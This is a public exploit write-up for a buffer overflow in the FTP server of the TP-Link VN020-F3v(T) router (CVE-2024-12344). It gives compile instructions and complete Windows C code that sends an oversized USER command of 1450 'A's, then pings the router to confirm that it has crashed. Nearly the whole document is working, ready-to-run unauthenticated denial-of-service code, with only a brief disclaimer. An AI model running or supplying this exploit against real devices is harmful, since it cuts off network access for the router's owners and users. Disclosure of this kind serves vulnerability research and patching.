* Exploit Title: TP-Link VN020 F3v(T) TT_V6.2.1021 - Buffer Overflow Memory Corruption
* Date: 11/24/2024
* Exploit Author: Mohamed Maatallah
* Vendor Homepage: https://www.tp-link.com
* Version: TT_V6.2.1021 (VN020-F3v(T))
* Tested on: VN020-F3v(T) Router (Hardware Version 1.0)
* CVE: CVE-2024-12344
* Category: Remote
* Description:
* A critical buffer overflow and memory corruption vulnerability was discovered in TP-Link VN020-F3v(T) router's FTP server implementation. The vulnerability stems from improper input validation of the USER command, allowing unauthenticated attackers to trigger various failure modes through payload size manipulation:
* 1. 1100 bytes - Delayed crash (5-10 seconds)
* 2. 1450 bytes - Immediate crash
* 3. >1450 bytes - Undefined behavior/state corruption
* Proof of Concept: (attached full c file)
* Compilation Instructions (Visual Studio):
* ---------------------------------------
* 1. Open Visual Studio
* 2. Create a new C Console Application
* 3. Add these additional dependencies to project settings:
* - ws2_32.lib
* - iphlpapi.lib
* 4. Ensure Windows SDK is installed
* 5. Set Platform Toolset to latest v143 or v142
* 6. Compile in Release or Debug mode
*
* Disclaimer:
* ----------
* This proof of concept is for educational and research purposes only.
* Unauthorized testing without explicit permission is unethical and illegal.
*/
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdint.h>
#include <windows.h>
#include <iphlpapi.h>
#include <icmpapi.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "iphlpapi.lib")
// Target configuration - MODIFY BEFORE TESTING
#define DEST_IP "192.168.1.1" // IP of target FTP server
#define DEST_PORT 21 // Standard FTP port
#define PING_TIMEOUT_MS 1000 // Network timeout
#define MAX_PING_RETRIES 5 // Connectivity check attempts
// 1450: Instant
// 1100: Delayed
#define CRASH_STRING_LENGTH 1450 // Exact number of 'A's triggering instantcrash
#define TOTAL_PAYLOAD_LENGTH (CRASH_STRING_LENGTH + 5 + 2) // USER + As + \r\n
typedef struct {
HANDLE icmp_handle;
IPAddr target_addr;
LPVOID reply_buffer;
DWORD reply_size;
} ping_context_t;
void log_msg(const char* prefix, const char* msg) {
SYSTEMTIME st;
GetLocalTime(&st);
printf("[%02d:%02d:%02d] %s %s\n", st.wHour, st.wMinute, st.wSecond, prefix, msg);
}
void hexdump(const char* desc, const void* addr, const int len) {
int i;
unsigned char buff[17];
const unsigned char* pc = (const unsigned char*)addr;
if (desc != NULL)
printf("%s:\n", desc);
for (i = 0; i < len; i++) {
if ((i % 16) == 0) {
if (i != 0)
printf(" %s\n", buff);
printf(" %04x ", i);
}
printf(" %02x", pc[i]);
if ((pc[i] < 0x20) || (pc[i] > 0x7e))
buff[i % 16] = '.';
else
buff[i % 16] = pc[i];
buff[(i % 16) + 1] = '\0';
}
while ((i % 16) != 0) {
printf(" ");
i++;
}
printf(" %s\n", buff);
}
BOOL check_connectivity(ping_context_t* ctx) {
char send_buf[32] = { 0 };
return IcmpSendEcho(ctx->icmp_handle, ctx->target_addr, send_buf, sizeof(send_buf),
NULL, ctx->reply_buffer, ctx->reply_size, PING_TIMEOUT_MS) > 0;
}
char* generate_exact_crash_payload() {
char* payload = (char*)malloc(TOTAL_PAYLOAD_LENGTH + 1); // +1 for null terminator
if (!payload) {
log_msg("[-]", "Failed to allocate payload memory");
return NULL;
}
// Construct the exact payload that causes crash
strcpy(payload, "USER "); // 5 bytes
memset(payload + 5, 'A', CRASH_STRING_LENGTH); // 1450 'A's
memcpy(payload + 5 + CRASH_STRING_LENGTH, "\r\n", 2); // 2 bytes
payload[TOTAL_PAYLOAD_LENGTH] = '\0';
char debug_msg[100];
snprintf(debug_msg, sizeof(debug_msg), "Generated payload of length %d ('A's + 5 byte prefix + 2 byte suffix)",
TOTAL_PAYLOAD_LENGTH);
log_msg("[*]", debug_msg);
return payload;
}
BOOL send_crash_payload(const char* target_ip, uint16_t target_port) {
WSADATA wsa;
SOCKET sock = INVALID_SOCKET;
struct sockaddr_in server;
char server_reply[2048];
int recv_size;
ping_context_t ping_ctx = { 0 };
BOOL success = FALSE;
// Initialize Winsock
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
log_msg("[-]", "Winsock initialization failed");
return FALSE;
}
// Setup ICMP for connectivity monitoring
ping_ctx.icmp_handle = IcmpCreateFile();
ping_ctx.reply_size = sizeof(ICMP_ECHO_REPLY) + 32;
ping_ctx.reply_buffer = malloc(ping_ctx.reply_size);
inet_pton(AF_INET, target_ip, &ping_ctx.target_addr);
// Create socket
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == INVALID_SOCKET) {
log_msg("[-]", "Socket creation failed");
goto cleanup;
}
// Setup server address
server.sin_family = AF_INET;
server.sin_port = htons(target_port);
inet_pton(AF_INET, target_ip, &server.sin_addr);
// Connect to FTP server
log_msg("[*]", "Connecting to target FTP server...");
if (connect(sock, (struct sockaddr*)&server, sizeof(server)) < 0) {
log_msg("[-]", "Connection failed");
goto cleanup;
}
log_msg("[+]", "Connected successfully");
// Verify initial connectivity
if (!check_connectivity(&ping_ctx)) {
log_msg("[-]", "No initial connectivity to target");
goto cleanup;
}
// Receive banner
if ((recv_size = recv(sock, server_reply, sizeof(server_reply) - 1, 0)) == SOCKET_ERROR) {
log_msg("[-]", "Failed to receive banner");
goto cleanup;
}
server_reply[recv_size] = '\0';
log_msg("[*]", server_reply);
// Generate and send the exact crash payload
char* payload = generate_exact_crash_payload();
if (!payload) {
goto cleanup;
}
log_msg("[*]", "Sending crash payload...");
hexdump("Payload hex dump (first 32 bytes)", payload, 32);
if (send(sock, payload, TOTAL_PAYLOAD_LENGTH, 0) < 0) {
log_msg("[-]", "Failed to send payload");
free(payload);
goto cleanup;
}
free(payload);
log_msg("[+]", "Payload sent successfully");
// Monitor for crash
log_msg("[*]", "Monitoring target status...");
Sleep(1000); // Wait a bit for crash to take effect
int failed_pings = 0;
for (int i = 0; i < MAX_PING_RETRIES; i++) {
if (!check_connectivity(&ping_ctx)) {
failed_pings++;
if (failed_pings >= 3) {
log_msg("[+]", "Target crash confirmed!");
success = TRUE;
goto cleanup;
}
}
Sleep(500);
}
log_msg("[-]", "Target appears to still be responsive");
cleanup:
if (sock != INVALID_SOCKET) {
closesocket(sock);
}
if (ping_ctx.icmp_handle != INVALID_HANDLE_VALUE) {
IcmpCloseHandle(ping_ctx.icmp_handle);
}
if (ping_ctx.reply_buffer) {
free(ping_ctx.reply_buffer);
}
WSACleanup();
return success;
}
int main(void) {
printf("\nTP-Link VN020 FTP Memory Corruption PoC\n");
printf("---------------------------------------\n");
printf("Target: %s:%d\n", DEST_IP, DEST_PORT);
if (send_crash_payload(DEST_IP, DEST_PORT)) {
printf("\nExploit successful - target crashed\n");
}
else {
printf("\nExploit failed - target may be patched\n");
}
return 0;
}